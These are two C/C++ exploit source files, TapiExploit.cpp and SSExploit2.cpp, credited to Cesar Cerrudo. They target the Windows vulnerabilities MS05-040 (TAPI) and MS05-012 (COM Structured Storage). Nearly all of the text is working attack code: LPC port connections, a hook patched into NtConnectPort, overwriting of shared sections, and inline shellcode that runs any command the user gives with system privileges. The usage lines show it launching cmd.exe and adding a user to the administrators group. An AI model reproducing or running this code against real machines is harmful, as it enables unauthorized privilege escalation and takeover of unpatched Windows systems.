TapiExploit.cpp
// by Cesar Cerrudo - Argeniss - www.argeniss.com
//
// TAPI Vulnerability- MS05-040
//
// Should work on Win2k sp0,sp1,sp2,sp3,sp4 any language
// If Telephony Service is not running you can start it by net start "Telephony Service"
#include "windows.h"
#include "LpcHead.h"
#include "stdio.h"
#include "tapi.h"
WCHAR * uString=(WCHAR *) HeapAlloc(GetProcessHeap(), 0, 0x100);
LPVOID lpLocalAddress,lpTargetAddress;
DWORD ConnectToLPCPort(){
HMODULE hNtdll;
HANDLE hPort;
LPCSECTIONINFO sectionInfo;
LPCSECTIONMAPINFO mapInfo;
byte ConnectDataBuffer[100];
DWORD Size = sizeof(ConnectDataBuffer);
WCHAR * uString=L"\\RPC Control\\tapsrvlpc";//TAPI LPC port
DWORD i;
UNICODE_STRING uStr;
for (i=0;i<100;i++)
ConnectDataBuffer[i]=0x0;
hNtdll=LoadLibrary("ntdll.dll");
DWORD (WINAPI * pfnNtConnectPort)(HANDLE*,UNICODE_STRING * ,SECURITY_QUALITY_OF_SERVICE*,DWORD*,DWORD*,DWORD*,DWORD*,DWORD*);
pfnNtConnectPort= (DWORD (WINAPI *)(HANDLE* ,UNICODE_STRING *,SECURITY_QUALITY_OF_SERVICE*,DWORD*,DWORD*,DWORD*,DWORD*,DWORD*))GetProcAddress(hNtdll,"NtConnectPort");
DWORD (WINAPI * pfnCreateSection)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER,DWORD,DWORD,DWORD);
pfnCreateSection= (DWORD (WINAPI *)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER,DWORD,DWORD,DWORD))GetProcAddress(hNtdll,"NtCreateSection");
HANDLE hSection;
LARGE_INTEGER SecSize;
DWORD maxSize=0;
SecSize.LowPart=0x1000;
SecSize.HighPart=0x0;
SECURITY_QUALITY_OF_SERVICE qos;
DWORD qosSize=4;
qos.Length =(DWORD)&qosSize;
qos.ImpersonationLevel =(_SECURITY_IMPERSONATION_LEVEL)0x2;
qos.ContextTrackingMode =0x01000101;
qos.EffectiveOnly =0x10000;
//create shared section
pfnCreateSection(&hSection,SECTION_ALL_ACCESS,NULL,&SecSize,PAGE_READWRITE,SEC_COMMIT ,NULL);
memset(§ionInfo, 0, sizeof(sectionInfo));
memset(&mapInfo, 0, sizeof(mapInfo));
sectionInfo.Length = 0x18;
sectionInfo.SectionHandle =hSection;
sectionInfo.SectionSize = SHARED_SECTION_SIZE;
mapInfo.Length = 0x0C;
uStr.Length = wcslen(uString)*2;
uStr.MaximumLength = wcslen(uString)*2+2;
uStr.Buffer =uString;
//connect to LPC port
if (!pfnNtConnectPort(&hPort,&uStr,&qos,(DWORD *)§ionInfo,(DWORD *)&mapInfo,&maxSize,(DWORD*)ConnectDataBuffer,&Size)){
lpLocalAddress =(LPVOID)sectionInfo.ClientBaseAddress ;
lpTargetAddress =(LPVOID)sectionInfo.ServerBaseAddress ;
return 1;
}
return 0;
}
int main(int argc, char* argv[])
{
HMODULE hKernel;
DWORD iStrLen;
FARPROC pWinExec,pExitThread;
LPSTR sCommand;
if (!argv[1]) {
printf("\nUsage :\n TapiExploit \"command\" \n");
printf("\nExample :\n TapiExploit \"cmd.exe\" \n");
exit(0);
}
iStrLen=strlen(argv[1]);
if(iStrLen>=65){
printf("\n\"command\" must be less than 65 chars.\n");
exit(0);
}
sCommand=argv[1];
if (!ConnectToLPCPort()){ //connect to TAPI LPC port
printf("Could not connect to LPC port \nTAPI service couldn't be running\nTry again.");
exit(0);
}
hKernel=LoadLibrary("Kernel32.dll");
// pWinExec=GetProcAddress(hKernel,"WinExec");
pWinExec=GetProcAddress(hKernel,"CreateProcessA");
pExitThread=GetProcAddress(hKernel,"ExitThread");
CHAR sWinSta[]="WinSta0\\Default";
//copy shellcode
_asm {
pushad
lea esi, Shellcode
mov edi, lpLocalAddress
add edi, 0x10
lea ecx, End
sub ecx, esi
push esi
push edi
cld
rep movsb
pop edi
pop esi
push edi
lea ecx, CommandBuf
sub ecx, esi
add edi, ecx
mov esi, sCommand
mov ecx, iStrLen
rep movsb
mov [edi], 0x00
pop edi
mov esi, pWinExec
mov [edi+0x0a], esi
mov esi, pExitThread
mov [edi+0x0e], esi
//////////////
add edi, 0x2f0
lea esi, sWinSta
mov ecx, 0xf
cld
rep movsb
///////////////
jmp Done
Shellcode:
jmp Start
// this gets overwritten
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff
CommandBuf: // this gets overwritten
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
Start:
call getDelta
getDelta:
pop edx // Get shellcode/shared section pointer
push edx
/* push 0x1 // push 0x0 for hidden window
lea eax, [edx-0x47]
push eax // Command offset
call [edx-0x4f] // Call WinExec
*/
mov eax, edx
add eax,0x500
push eax //LPPROCESS_INFORMATION
add eax, 0x100
mov ebx, edx
xor bl, bl
lea ecx, [ebx+0x300]
lea ebx, [eax+0x8]
mov [ebx], ecx //set windows station and desktop
push eax //LPSTARTUPINFO
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
lea eax, [edx-0x47]
push eax // Command offset
push 0x0
call [edx-0x4f] // Call create process
pop edx
call [edx-0x4b] // Call ExitThread
End:
Done:
popad
}
LPSTR lpszAppFilename=(LPSTR )HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x21C) ;
LINEEXTENSIONID ExtensionID;
memset(lpszAppFilename,0x58,0x21A);
_asm{
pushad
mov ebx, lpszAppFilename
lea ebx, [ebx+0x216]
mov eax, lpTargetAddress
add eax, 0x10
mov [ebx], eax
popad
}
lineSetAppPriorityW((LPWSTR )lpszAppFilename,NULL,&ExtensionID,LINEREQUESTMODE_MAKECALL,NULL,NULL);
Sleep(1000);
printf("Command should have been executed ;)\n");
return 0;
}
SSExploit2.cpp
// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
//
// Should work on Win2k sp0,sp1,sp2,sp3,sp4, WinXP sp0,sp1,sp2, Win2k3 sp0 any language
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions
// from msiexec service process with WinObj or crash the msiexec service and try again
#include "windows.h"
#include "LpcHead.h"
#include "stdio.h"
typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;
typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
WCHAR * uString=(WCHAR *) HeapAlloc(GetProcessHeap(), 0, 0x100);
LPVOID lpLocalAddress,lpTargetAddress;
DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
{
HMODULE hMsi;
hMsi = LoadLibrary("msi.dll");
MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
//run unistall , without permissions this makes a windows pop up
//while this window is showing the shared section is created and available on Windows Installer service process
MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
return 0;
}
void DoPatching(){
HMODULE hNtdll;
FARPROC FuncAddr,FuncHookAddr;
DWORD dwOldProt,dwOldProt2;
hNtdll=LoadLibrary("ntdll.dll");
FuncAddr=GetProcAddress(hNtdll,"NtConnectPort");
VirtualProtect(FuncAddr,0xC,PAGE_EXECUTE_READWRITE,&dwOldProt);
_asm{
lea ebx,FuncHook
mov FuncHookAddr,ebx
}
VirtualProtect(FuncHookAddr,0xC,PAGE_EXECUTE_READWRITE,&dwOldProt2);
_asm{
//Get Windows version
mov eax,fs:[30h] // get pointer to PEB
mov eax,[eax+0A8h] // get OS minor version
cmp eax,0x0
jz W2k
cmp eax,0x1
jz WinXP
jmp Win2K3
WinXP:
Win2K3:
mov eax, 0xc
jmp Done
W2k:
mov eax, 0xb
Done:
//save patched bytes
mov esi, FuncAddr
lea edi, FuncHook
mov ecx,eax
cld
rep movsb
//patch function
lea esi, PatchBytes
mov edi, FuncAddr
mov ecx,eax
cld
rep movsb
}
VirtualProtect(FuncAddr,0xC,dwOldProt,&dwOldProt);
VirtualProtect(FuncHookAddr,0xC,dwOldProt2,&dwOldProt2);
return;
_asm{
PatchBytes:
lea eax, FuncHook
jmp eax
nop
nop
nop
nop
FuncHook:
//this gets overwriten
mov dword ptr[eax],0x55555555
mov ax,0xffff
nop
nop
pushad
mov edx,[esp+0x28] //get unicode string address
lea edx,[edx+0x4]
mov edx,[edx]
lea edx,[edx+0x1A]
cmp [edx], 0x004c004f //compare with OL unicode string
jnz GoOut
lea edx,[edx+0x2]
cmp [edx], 0x0045004c //compare with LE unicode string
jnz GoOut
lea esi,[edx-0x2]
sub esi, 0x1A
mov edi, uString
mov ecx, 0x5A
cld
rep movsb
GoOut:
popad
ret 0x20
}
}
DWORD ConnectToLPCPort(){
HMODULE hNtdll;
HANDLE hPort;
LPCSECTIONINFO sectionInfo;
LPCSECTIONMAPINFO mapInfo;
byte ConnectDataBuffer[100];
DWORD Size = sizeof(ConnectDataBuffer);
DWORD i;
UNICODE_STRING uStr;
for (i=0;i<100;i++)
ConnectDataBuffer[i]=0x0;
hNtdll=LoadLibrary("ntdll.dll");
DWORD (WINAPI * pfnNtConnectPort)(HANDLE*,UNICODE_STRING * ,SECURITY_QUALITY_OF_SERVICE*,DWORD*,DWORD*,DWORD*,DWORD*,DWORD*);
pfnNtConnectPort= (DWORD (WINAPI *)(HANDLE* ,UNICODE_STRING *,SECURITY_QUALITY_OF_SERVICE*,DWORD*,DWORD*,DWORD*,DWORD*,DWORD*))GetProcAddress(hNtdll,"NtConnectPort");
DWORD (WINAPI * pfnCreateSection)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER,DWORD,DWORD,DWORD);
pfnCreateSection= (DWORD (WINAPI *)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER,DWORD,DWORD,DWORD))GetProcAddress(hNtdll,"NtCreateSection");
HANDLE hSection;
LARGE_INTEGER SecSize;
DWORD maxSize=0x10000;
SecSize.LowPart=0x1000;
SecSize.HighPart=0x0;
SECURITY_QUALITY_OF_SERVICE qos;
DWORD qosSize=4;
qos.Length =(DWORD)&qosSize;
qos.ImpersonationLevel =(_SECURITY_IMPERSONATION_LEVEL)0x2;
qos.ContextTrackingMode =0x01000101;
qos.EffectiveOnly =0x10000;
//Create shared section
pfnCreateSection(&hSection,0xf001f,NULL,&SecSize,PAGE_READWRITE,SEC_COMMIT ,NULL);
memset(§ionInfo, 0, sizeof(sectionInfo));
memset(&mapInfo, 0, sizeof(mapInfo));
sectionInfo.Length = 0x18;
sectionInfo.SectionHandle =hSection;
sectionInfo.SectionSize = SHARED_SECTION_SIZE;
mapInfo.Length = 0x0C;
uStr.Length = wcslen(uString)*2;
uStr.MaximumLength = wcslen(uString)*2+2;
uStr.Buffer =uString;
if (!pfnNtConnectPort(&hPort,&uStr,&qos,(unsigned long *)§ionInfo,(unsigned long *)&mapInfo,&maxSize,(DWORD*)ConnectDataBuffer,&Size)){
lpLocalAddress =(LPVOID)sectionInfo.ClientBaseAddress ;
lpTargetAddress =(LPVOID)sectionInfo.ServerBaseAddress ;
return 1;
}
return 0;
}
int main(int argc, char* argv[])
{
OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);
HANDLE hFile,hThread,hMapFile;
HMODULE hNtdll ,hKernel;
DWORD dwThreadId;
OBJECT_ATTRIBUTES obj;
WCHAR * uString2=L"\\BaseNamedObjects";
UNICODE_STRING str;
DWORD i,a,iStrLen,b=0;
char sObjName[30],sTmp[50];
LPVOID lpMapAddress;
FARPROC pWinExec,pExitThread;
bool bFound;
char* sCommand;
if (!argv[1]||!argv[2]) {
printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n");
printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
exit(0);
}
iStrLen=strlen(argv[2]);
if(iStrLen>=65){
printf("\n\"command\" must be less than 65 chars.\n");
exit(0);
}
sCommand=argv[2];
DoPatching(); //patch NtConnectPort() to get msiexec service LPC port name
hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);
Sleep(1000);
if (!ConnectToLPCPort()){ //connect to msiexec service LPC port
printf("Could not connect to LPC port");
exit(0);
}
hNtdll = LoadLibrary("ntdll.dll");
NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
str.Length=wcslen(uString2)*2;
str.MaximumLength =wcslen(uString2)*2+2;
str.Buffer =uString2;
InitializeObjectAttributes (&obj, &str, 0, 0, 00);
NtOpenDirectoryObject(&hFile,0x20001,&obj);
printf("\nSearching for Shared Section...\n\n");
// Get all objects names under \BaseNamedObjects
if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
do{
bFound=NULL;
while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
//check if it's a section name
if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
}
//check if it's the one we are searching for
if (!strncmp(sObjName,"DfSharedHeap",12)){
bFound=1;
break;
}
}
}
if (bFound)
printf("Shared Section Found: %s\n",sObjName);
else {
printf("Shared Section Not Found");
exit(0);
}
strcpy(sTmp,"Global\\");
strcat(sTmp,sObjName); //append global prefix to support Terminal Services
hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
//the shared section name couldn't be the one we are searching for
if (hMapFile == NULL)
printf("Could not open Shared Section\n\n");
else
printf("Shared Section opened\n\n");
} while (hMapFile == NULL) ;
lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
if (lpMapAddress == NULL) {
printf("Could not map Shared Section");
exit(0);
}
else
printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n");
hKernel=LoadLibrary("Kernel32.dll");
pWinExec=GetProcAddress(hKernel,"WinExec");
pExitThread=GetProcAddress(hKernel,"ExitThread");
_asm{
mov eax, lpTargetAddress
sub eax, 0x10
mov edx, eax
add edx, 0x14
mov ebx, lpMapAddress
mov ecx, 0x1000
l00p: // overwrite section data, so overwriten structures will point to shellcode
mov dword ptr[ebx],eax
sub ecx,0x4
add ebx,0x4
cmp ecx,0x0
jnz l00p
mov ebx, lpLocalAddress //address of shellcode
mov dword ptr[ebx], edx
//start copying shellcode
lea esi, Shellcode
lea edi, [ebx+4]
lea ecx, End
sub ecx, esi
push esi
push edi
cld
rep movsb
pop edi
pop esi
push edi
lea ecx, CommandBuf
sub ecx, esi
add edi, ecx
mov esi, sCommand
mov ecx, iStrLen
rep movsb
mov [edi], 0x00
pop edi
mov esi, pWinExec
mov [edi+0x5], esi
mov esi, pExitThread
mov [edi+0x9], esi
}
printf("Click OK on the window to execute shellcode and press any key to finish.\n");
getchar();
printf("Command should have been executed ;)\n");
CloseHandle(hMapFile);
}
else printf("Couldn't get object names \n");
return 0;
_asm{
Shellcode:
call Start
// this gets overwriten
mov ax,0xffff
mov ax,0xffff
CommandBuf: // this gets overwriten
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
Start:
pop edx // Get shellcode/shared section pointer
push edx // save edx
push 0x1 // push 0x0 for hidden window
lea eax, [edx+0x8]
push eax // Command offset
call [edx] // Call WinExec
pop edx
call [edx+0x4] // Call ExitThread to avoid msiexec service to crash
End:
}
}